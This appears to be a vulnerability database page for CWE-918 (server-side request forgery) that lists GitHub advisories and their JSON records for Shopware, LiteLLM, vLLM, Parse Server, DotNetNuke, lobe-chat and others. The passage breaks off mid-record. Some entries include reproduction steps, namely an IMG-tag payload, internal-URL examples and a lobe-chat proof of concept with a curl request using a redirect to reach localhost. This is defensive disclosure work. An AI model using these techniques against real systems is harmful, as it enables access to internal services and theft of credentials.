Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

6157 vulnerabilities reference this CWE, most recent first.

GHSA-3CPP-FV95-MPR5

Vulnerability from github – Published: 2025-10-21 18:02 – Updated: 2025-10-21 18:02
VLAI
Summary
Shopware vulnerable to Server-Side Request Forgery (SSRF) – order invoice
Details

Impact

This vulnerability allows malicious actors to force the application server to send HTTP requests to both external and internal servers. In certain cases, this may lead to access to internal resources such as databases, file systems, or other services that are not supposed to be directly accessible from the internet.

The overall impact of this vulnerability is considered limited, as the functionality is highly restricted and only processes IMG tags.

Description

Server-Side Request Forgery (SSRF) is a vulnerability that enables a malicious actor to manipulate an application server into performing HTTP requests to arbitrary domains. SSRF is commonly exploited to make the server initiate requests to its internal systems or other services within the same network, which are typically not exposed to external users. In some cases, SSRF can also be used to target external systems. A successful SSRF attack can result in unauthorized actions or access to data within the organization, the web application itself, or other backend systems the application communicates with. In worst-case scenario, a SSRF vulnerability can be exploited to execute malicious code on the server.

Applicability

The PDF generator used to create order invoices contains a Server-Side Request Forgery (SSRF) vulnerability. Administrative users can generate invoices for completed orders and have the option to add a note to the invoice. This input is currently not adequately filtered for (malicious) HTML characters. When a malicious actor submits an IMG tag as input, the PDF generator attempts to retrieve an external image while processing the IMG tag. As a result, the application server can be used to perform an HTTP request, enabling the malicious actors to reach both external and internal servers. To exploit this vulnerability, an admin account is required.

Reproduction

To reproduce this vulnerability, the steps below can be followed. 1. Log in as an admin and navigate to the following URL: https://.shopware.store/admin#/sw/order/detail/0198e0afa2cb70ceb76ad64fc7864ca6/documents?limit=25&page=1&term=&sortBy&sortDirection=ASC&naturalSorting=false 2. Click the button ‘Create document’ and create a ‘Partial cancellation’ document. 3. As a comment add the following code:

<img src="<malicious image link>" width="250" height="100"/>
  1. Press the preview button to view the PFD.
  2. Observe that the image is shown in the PDF.
Severity
2.7 (Low)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "shopware/platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.7.0.0"
            },
            {
              "fixed": "6.7.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "shopware/platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.6.10.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "shopware/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.7.0.0"
            },
            {
              "fixed": "6.7.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "shopware/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.6.10.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-21T18:02:52Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "### Impact\nThis vulnerability allows malicious actors to force the application server to send HTTP requests to both external and internal servers. In certain cases, this may lead to access to internal resources such as databases, file systems, or other services that are not supposed to be directly accessible from the internet.\n\nThe overall impact of this vulnerability is considered limited, as the functionality is highly restricted and only processes IMG tags.\n\n#### Description\nServer-Side Request Forgery (SSRF) is a vulnerability that enables a malicious actor to manipulate an application server into performing HTTP requests to arbitrary domains. SSRF is commonly exploited to make the server initiate requests to its internal systems or other services within the same network, which are typically not exposed to external users. In some cases, SSRF can also be used to target external systems. A successful SSRF attack can result in unauthorized actions or access to data within the\norganization, the web application itself, or other backend systems the application communicates with. In worst-case scenario, a SSRF vulnerability can be exploited to execute malicious code on the server.\n\n#### Applicability \nThe PDF generator used to create order invoices contains a Server-Side Request Forgery (SSRF)\nvulnerability.\nAdministrative users can generate invoices for completed orders and have the option to add a note to the invoice. This input is currently not adequately filtered for (malicious) HTML characters. When a malicious actor submits an IMG tag as input, the PDF generator attempts to retrieve an external image while processing the IMG tag. As a result, the application server can be used to perform an HTTP request, enabling the malicious actors to reach both external and internal servers.\nTo exploit this vulnerability, an admin account is required.\n\n#### Reproduction\nTo reproduce this vulnerability, the steps below can be followed.\n1. Log in as an admin and navigate to the following URL:\nhttps://\u003cyour-site\u003e.shopware.store/admin#/sw/order/detail/0198e0afa2cb70ceb76ad64fc7864ca6/documents?limit=25\u0026page=1\u0026term=\u0026sortBy\u0026sortDirection=ASC\u0026naturalSorting=false\n2. Click the button \u2018Create document\u2019 and create a \u2018Partial cancellation\u2019 document.\n3. As a comment add the following code:\n```\n\u003cimg src=\"\u003cmalicious image link\u003e\" width=\"250\" height=\"100\"/\u003e\n```\n4. Press the preview button to view the PFD.\n5. Observe that the image is shown in the PDF.",
  "id": "GHSA-3cpp-fv95-mpr5",
  "modified": "2025-10-21T18:02:52Z",
  "published": "2025-10-21T18:02:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/shopware/shopware/security/advisories/GHSA-3cpp-fv95-mpr5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/shopware/shopware/commit/f32737b34798d4800b81c67efee17905380d2be4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/shopware/shopware"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Shopware vulnerable to Server-Side Request Forgery (SSRF) \u2013 order invoice"
}

GHSA-3CV6-JPF6-8222

Vulnerability from github – Published: 2026-09-30 21:11 – Updated: 2026-09-30 21:11
VLAI
Summary
LiteLLM: Authenticated SSRF and provider-credential exfiltration via unvalidated request-body routing parameters
Details

Impact

Any authenticated LiteLLM proxy user could redirect an outbound provider call to a destination they control and cause the proxy to send its own configured provider credentials to that destination. The proxy's request-body validation was a denylist that did not cover every sensitive parameter and did not inspect parameters nested inside other request fields, so a caller could supply a routing or credential value that the proxy applied without clearing the operator's stored key. Any authenticated user could therefore exfiltrate the operator's upstream provider credentials and other configured secrets, and perform Server-Side Request Forgery against internal services reachable from the proxy.

Patches

Fixed in 1.96.2, 1.95.1, 1.94.3, 1.93.2, 1.92.2, 1.91.5, 1.90.7, 1.89.7, and 1.88.6.

Workarounds

Set general_settings.allow_client_side_credentials to false so callers cannot override connection parameters, restrict proxy keys to trusted callers, and block the affected parameters (api_base, base_url, model_list, fallbacks, provider credential fields) at a reverse proxy or API gateway.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "litellm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.88.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "litellm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.89.0"
            },
            {
              "fixed": "1.89.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "litellm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.90.0"
            },
            {
              "fixed": "1.90.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "litellm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.91.0"
            },
            {
              "fixed": "1.91.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "litellm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.92.0"
            },
            {
              "fixed": "1.92.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "litellm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.93.0"
            },
            {
              "fixed": "1.93.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "litellm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.94.0"
            },
            {
              "fixed": "1.94.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "litellm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.95.0"
            },
            {
              "fixed": "1.95.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "litellm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.96.0"
            },
            {
              "fixed": "1.96.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-84377"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-30T21:11:25Z",
    "nvd_published_at": "2026-09-02T18:21:28Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nAny authenticated LiteLLM proxy user could redirect an outbound provider call to a destination they control and cause the proxy to send its own configured provider credentials to that destination. The proxy\u0027s request-body validation was a denylist that did not cover every sensitive parameter and did not inspect parameters nested inside other request fields, so a caller could supply a routing or credential value that the proxy applied without clearing the operator\u0027s stored key. Any authenticated user could therefore exfiltrate the operator\u0027s upstream provider credentials and other configured secrets, and perform Server-Side Request Forgery against internal services reachable from the proxy.\n\n### Patches\n\nFixed in 1.96.2, 1.95.1, 1.94.3, 1.93.2, 1.92.2, 1.91.5, 1.90.7, 1.89.7, and 1.88.6.\n\n### Workarounds\n\nSet `general_settings.allow_client_side_credentials` to `false` so callers cannot override connection parameters, restrict proxy keys to trusted callers, and block the affected parameters (`api_base`, `base_url`, `model_list`, `fallbacks`, provider credential fields) at a reverse proxy or API gateway.",
  "id": "GHSA-3cv6-jpf6-8222",
  "modified": "2026-09-30T21:11:25Z",
  "published": "2026-09-30T21:11:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/BerriAI/litellm/security/advisories/GHSA-3cv6-jpf6-8222"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84377"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BerriAI/litellm/pull/36011"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BerriAI/litellm/pull/36314"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BerriAI/litellm/pull/36494"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BerriAI/litellm/commit/473f72e63a9777d793fbbf57194d8ec4fb97bc1b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BerriAI/litellm/commit/820f247a6abba55cd87d130bef7bba7be3b29d37"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BerriAI/litellm/commit/c898d341c02299cf2506d0d8e84cc67953043593"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/BerriAI/litellm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LiteLLM: Authenticated SSRF and provider-credential exfiltration via unvalidated request-body routing parameters"
}

GHSA-3F36-C5M8-4FRW

Vulnerability from github – Published: 2026-07-30 12:32 – Updated: 2026-07-30 12:32
VLAI
Details

A flaw was found in koku-metrics-operator. The operator's CostManagementMetricsConfig custom resource allows a user able to edit the CR to specify an arbitrary OAuth token endpoint. When authentication.type is set to service-account, the operator sends the tenant's Red Hat SSO client_id and client_secret to this user-controlled URL, allowing the attacker to obtain the credentials.

Severity
6.8 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-18382"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-30T12:17:27Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in koku-metrics-operator. The operator\u0027s CostManagementMetricsConfig custom resource allows a user able to edit the CR to specify an arbitrary OAuth token endpoint. When authentication.type is set to service-account, the operator sends the tenant\u0027s Red Hat SSO client_id and client_secret to this user-controlled URL, allowing the attacker to obtain the credentials.",
  "id": "GHSA-3f36-c5m8-4frw",
  "modified": "2026-07-30T12:32:19Z",
  "published": "2026-07-30T12:32:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-18382"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-18382"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2509253"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3F5F-XGRJ-97PF

Vulnerability from github – Published: 2025-12-16 22:35 – Updated: 2026-01-07 14:54
VLAI
Summary
Parse Server is vulnerable to Server-Side Request Forgery (SSRF) via Instagram OAuth Adapter
Details

Impact

The Instagram authentication adapter allows clients to specify a custom API URL via the apiURL parameter in authData. This enables SSRF attacks and possibly authentication bypass if malicious endpoints return fake responses to validate unauthorized users.

Patches

Fixed by hardcoding the Instagram Graph API URL https://graph.instagram.com and ignoring client-provided apiURL values.

Workarounds

None.

Severity
8.3 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "parse-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.1.1-alpha.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "parse-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.6.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-68150"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-16T22:35:40Z",
    "nvd_published_at": "2025-12-16T19:16:00Z",
    "severity": "HIGH"
  },
  "details": "## Impact\n\nThe Instagram authentication adapter allows clients to specify a custom API URL via the `apiURL` parameter in `authData`. This enables SSRF attacks and possibly authentication bypass if malicious endpoints return fake responses to validate unauthorized users.\n\n## Patches\n\nFixed by hardcoding the Instagram Graph API URL `https://graph.instagram.com` and ignoring client-provided `apiURL` values.\n\n## Workarounds\n\nNone.",
  "id": "GHSA-3f5f-xgrj-97pf",
  "modified": "2026-01-07T14:54:59Z",
  "published": "2025-12-16T22:35:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-3f5f-xgrj-97pf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68150"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/pull/9988"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/pull/9989"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/parse-community/parse-server"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Parse Server is vulnerable to Server-Side Request Forgery (SSRF) via Instagram OAuth Adapter"
}

GHSA-3F6C-7FW2-PPM4

Vulnerability from github – Published: 2025-10-07 22:14 – Updated: 2025-10-27 20:00
VLAI
Summary
vLLM is vulnerable to Server-Side Request Forgery (SSRF) through `MediaConnector` class
Details

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in the MediaConnector class within the vLLM project's multimodal feature set. The load_from_url and load_from_url_async methods fetch and process media from user-provided URLs without adequate restrictions on the target hosts. This allows an attacker to coerce the vLLM server into making arbitrary requests to internal network resources.

This vulnerability is particularly critical in containerized environments like llm-d, where a compromised vLLM pod could be used to scan the internal network, interact with other pods, and potentially cause denial of service or access sensitive data. For example, an attacker could make the vLLM pod send malicious requests to an internal llm-d management endpoint, leading to system instability by falsely reporting metrics like the KV cache state.

Vulnerability Details

The core of the vulnerability lies in the MediaConnector.load_from_url method and its asynchronous counterpart. These methods accept a URL string to fetch media content (images, audio, video).

https://github.com/vllm-project/vllm/blob/119f683949dfed10df769fe63b2676d7f1eb644e/vllm/multimodal/utils.py#L97-L113

The function directly processes URLs with http, https, and file schemes. An attacker can supply a URL pointing to an internal IP address or a localhost endpoint. The vLLM server will then initiate a connection to this internal resource.

  • HTTP/HTTPS Scheme: An attacker can craft a request like {"image_url": "http://127.0.0.1:8080/internal_api"}. The vLLM server will send a GET request to this internal endpoint.
  • File Scheme: The _load_file_url method attempts to restrict file access to a subdirectory defined by --allowed-local-media-path. While this is a good security measure for local file access, it does not prevent network-based SSRF attacks.

Impact in llm-d Environments

The risk is significantly amplified in orchestrated environments such as llm-d, where multiple pods communicate over an internal network.

  1. Denial of Service (DoS): An attacker could target internal management endpoints of other services within the llm-d cluster. For instance, if a monitoring or metrics service is exposed internally, an attacker could send malformed requests to it. A specific example is an attacker causing the vLLM pod to call an internal API that reports a false KV cache utilization, potentially triggering incorrect scaling decisions or even a system shutdown.

  2. Internal Network Reconnaissance: Attackers can use the vulnerability to scan the internal network for open ports and services by providing URLs like http://10.0.0.X:PORT and observing the server's response time or error messages.

  3. Interaction with Internal Services: Any unsecured internal service becomes a potential target. This could include databases, internal APIs, or other model pods that might not have robust authentication, as they are not expected to be directly exposed.

Delegating this security responsibility to an upper-level orchestrator like llm-d is problematic. The orchestrator cannot easily distinguish between legitimate requests initiated by the vLLM engine for its own purposes and malicious requests originating from user input, thus complicating traffic filtering rules and increasing management overhead.

Fix

See the --allowed-media-domains option discussed here: https://docs.vllm.ai/en/latest/usage/security.html#4-restrict-domains-access-for-media-urls

Severity
7.1 (High)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "vllm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.5.0"
            },
            {
              "fixed": "0.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-6242"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-07T22:14:15Z",
    "nvd_published_at": "2025-10-07T20:15:36Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability exists in the `MediaConnector` class within the vLLM project\u0027s multimodal feature set. The `load_from_url` and `load_from_url_async` methods fetch and process media from user-provided URLs without adequate restrictions on the target hosts. This allows an attacker to coerce the vLLM server into making arbitrary requests to internal network resources.\n\nThis vulnerability is particularly critical in containerized environments like `llm-d`, where a compromised vLLM pod could be used to scan the internal network, interact with other pods, and potentially cause denial of service or access sensitive data. For example, an attacker could make the vLLM pod send malicious requests to an internal `llm-d` management endpoint, leading to system instability by falsely reporting metrics like the KV cache state.\n\n### Vulnerability Details\n\nThe core of the vulnerability lies in the `MediaConnector.load_from_url` method and its asynchronous counterpart. These methods accept a URL string to fetch media content (images, audio, video).\n\nhttps://github.com/vllm-project/vllm/blob/119f683949dfed10df769fe63b2676d7f1eb644e/vllm/multimodal/utils.py#L97-L113\n\nThe function directly processes URLs with `http`, `https`, and `file` schemes. An attacker can supply a URL pointing to an internal IP address or a `localhost` endpoint. The vLLM server will then initiate a connection to this internal resource.\n\n* **HTTP/HTTPS Scheme:** An attacker can craft a request like `{\"image_url\": \"http://127.0.0.1:8080/internal_api\"}`. The vLLM server will send a GET request to this internal endpoint.\n* **File Scheme:** The `_load_file_url` method attempts to restrict file access to a subdirectory defined by `--allowed-local-media-path`. While this is a good security measure for local file access, it does not prevent network-based SSRF attacks.\n\n### Impact in `llm-d` Environments\n\nThe risk is significantly amplified in orchestrated environments such as `llm-d`, where multiple pods communicate over an internal network.\n\n1.  **Denial of Service (DoS):** An attacker could target internal management endpoints of other services within the `llm-d` cluster. For instance, if a monitoring or metrics service is exposed internally, an attacker could send malformed requests to it. A specific example is an attacker causing the vLLM pod to call an internal API that reports a false KV cache utilization, potentially triggering incorrect scaling decisions or even a system shutdown.\n\n2.  **Internal Network Reconnaissance:** Attackers can use the vulnerability to scan the internal network for open ports and services by providing URLs like `http://10.0.0.X:PORT` and observing the server\u0027s response time or error messages.\n\n3.  **Interaction with Internal Services:** Any unsecured internal service becomes a potential target. This could include databases, internal APIs, or other model pods that might not have robust authentication, as they are not expected to be directly exposed.\n\nDelegating this security responsibility to an upper-level orchestrator like `llm-d` is problematic. **The orchestrator cannot easily distinguish between legitimate requests initiated by the vLLM engine for its own purposes and malicious requests originating from user input, thus complicating traffic filtering rules and increasing management overhead.**\n\n### Fix\n\nSee the `--allowed-media-domains` option discussed here: https://docs.vllm.ai/en/latest/usage/security.html#4-restrict-domains-access-for-media-urls",
  "id": "GHSA-3f6c-7fw2-ppm4",
  "modified": "2025-10-27T20:00:22Z",
  "published": "2025-10-07T22:14:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-3f6c-7fw2-ppm4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6242"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/commit/9d9a2b77f19f68262d5e469c4e82c0f6365ad72d"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2025-6242"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2373716"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vllm-project/vllm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vLLM is vulnerable to Server-Side Request Forgery (SSRF) through `MediaConnector` class"
}

GHSA-3F7V-QX94-666M

Vulnerability from github – Published: 2025-04-09 12:58 – Updated: 2025-04-09 20:14
VLAI
Summary
DotNetNuke.Core Vulnerable to Server-Side Request Forgery (SSRF)
Details

A bypass has been identified for the previously known vulnerability CVE-2017-0929, allowing unauthenticated attackers to execute arbitrary GET requests against target systems, including internal or adjacent networks.

Impact

This vulnerability facilitates a semi-blind SSRF attack, allowing attackers to make the target server send requests to internal or external URLs without viewing the full responses. Potential impacts include internal network reconnaissance, bypassing firewalls.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "DotNetNuke.Core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.13.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-32372"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-09T12:58:28Z",
    "nvd_published_at": "2025-04-09T16:15:25Z",
    "severity": "MODERATE"
  },
  "details": "A bypass has been identified for the previously known vulnerability CVE-2017-0929, allowing unauthenticated attackers to execute arbitrary GET requests against target systems, including internal or adjacent networks.\n\n### Impact\n\nThis vulnerability facilitates a semi-blind SSRF attack, allowing attackers to make the target server send requests to internal or external URLs without viewing the full responses. Potential impacts include internal network reconnaissance, bypassing firewalls.",
  "id": "GHSA-3f7v-qx94-666m",
  "modified": "2025-04-09T20:14:12Z",
  "published": "2025-04-09T12:58:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dnnsoftware/Dnn.Platform/security/advisories/GHSA-3f7v-qx94-666m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32372"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dnnsoftware/Dnn.Platform/commit/4721dd9eef846936d3b1a3676499e46968d15feb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dnnsoftware/Dnn.Platform"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "DotNetNuke.Core Vulnerable to Server-Side Request Forgery (SSRF)"
}

GHSA-3FC8-2R3F-8WRG

Vulnerability from github – Published: 2024-09-23 20:30 – Updated: 2024-09-30 19:57
VLAI
Summary
lobe-chat implemented an insufficient fix for GHSA-mxhq-xw3g-rphc (CVE-2024-32964)
Details

Summary

SSRF protection implemented in https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts does not consider redirect and could be bypassed when attacker provides external malicious url which redirects to internal resources like private network or loopback address.

PoC

  1. Run lobe-chat in docker container. In my setup lobe-chat runs on 0.0.0.0:3210;

  2. Create file dummy-server.js with the following content:

var http = require('http');
console.log("running server");
http.createServer(function (req, res) {
  console.log(req.url);
  res.writeHead(200, {'Content-Type': 'text/html'});
  res.end();
}).listen(3001, 'localhost');

And run 

node dummy-server.js

as an example server inside of container [1] (or in containers private network).

  1. Run in terminal to perform request to lobe-chat instance from [1]
curl --path-as-is -i -s -k -X $'POST' \
    -H $'Host: 0.0.0.0:3210' -H $'Accept-Encoding: gzip, deflate, br' -H $'Referer: http://0.0.0.0:3210/settings/agent?agent=&session=inbox&tab=' -H $'Content-Type: text/plain;charset=UTF-8' -H $'Content-Length: 74' -H $'Origin: http://0.0.0.0:3210' -H $'Connection: keep-alive' -H $'Priority: u=0' \
    -b $'LOBE_LOCALE=en-EN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined' \
    --data-binary $'http://130.193.49.129:8090/redirect?url=http://localhost:3001/iamssrf_1337' \
    $'http://0.0.0.0:3210/api/proxy'

where body contains url of server which redirects to internal network (in my case it redirects according url parameter).

  1. Observe in output of [2]
running server
/iamssrf_1337
  1. Attacker is able to perform SSRF attacks against lobe-chat despite https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts#L26 check.

Fix recommendations:

  1. Disable redirects - lobe-chat should consider explicitly disable redirects.
  2. If redirects support is required, perform check before each http request.

Impact

https://portswigger.net/web-security/ssrf

Severity
9.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H
6.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.19.12"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@lobehub/chat"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.19.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-47066"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-09-23T20:30:11Z",
    "nvd_published_at": "2024-09-23T16:15:06Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nSSRF protection implemented in https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts does not consider redirect and could be bypassed when attacker provides external malicious url which redirects to internal resources like private network or loopback address.\n\n### PoC\n1. Run lobe-chat in docker container. In my setup lobe-chat runs on 0.0.0.0:3210;\n\n2. Create file dummy-server.js with the following content:\n```\nvar http = require(\u0027http\u0027);\nconsole.log(\"running server\");\nhttp.createServer(function (req, res) {\n  console.log(req.url);\n  res.writeHead(200, {\u0027Content-Type\u0027: \u0027text/html\u0027});\n  res.end();\n}).listen(3001, \u0027localhost\u0027);\n\n```\nAnd run \n```\nnode dummy-server.js\n```\nas an example server inside of container [1] (or in containers private network).\n\n3. Run in terminal to perform request to lobe-chat instance from [1]\n\n```\ncurl --path-as-is -i -s -k -X $\u0027POST\u0027 \\\n    -H $\u0027Host: 0.0.0.0:3210\u0027 -H $\u0027Accept-Encoding: gzip, deflate, br\u0027 -H $\u0027Referer: http://0.0.0.0:3210/settings/agent?agent=\u0026session=inbox\u0026tab=\u0027 -H $\u0027Content-Type: text/plain;charset=UTF-8\u0027 -H $\u0027Content-Length: 74\u0027 -H $\u0027Origin: http://0.0.0.0:3210\u0027 -H $\u0027Connection: 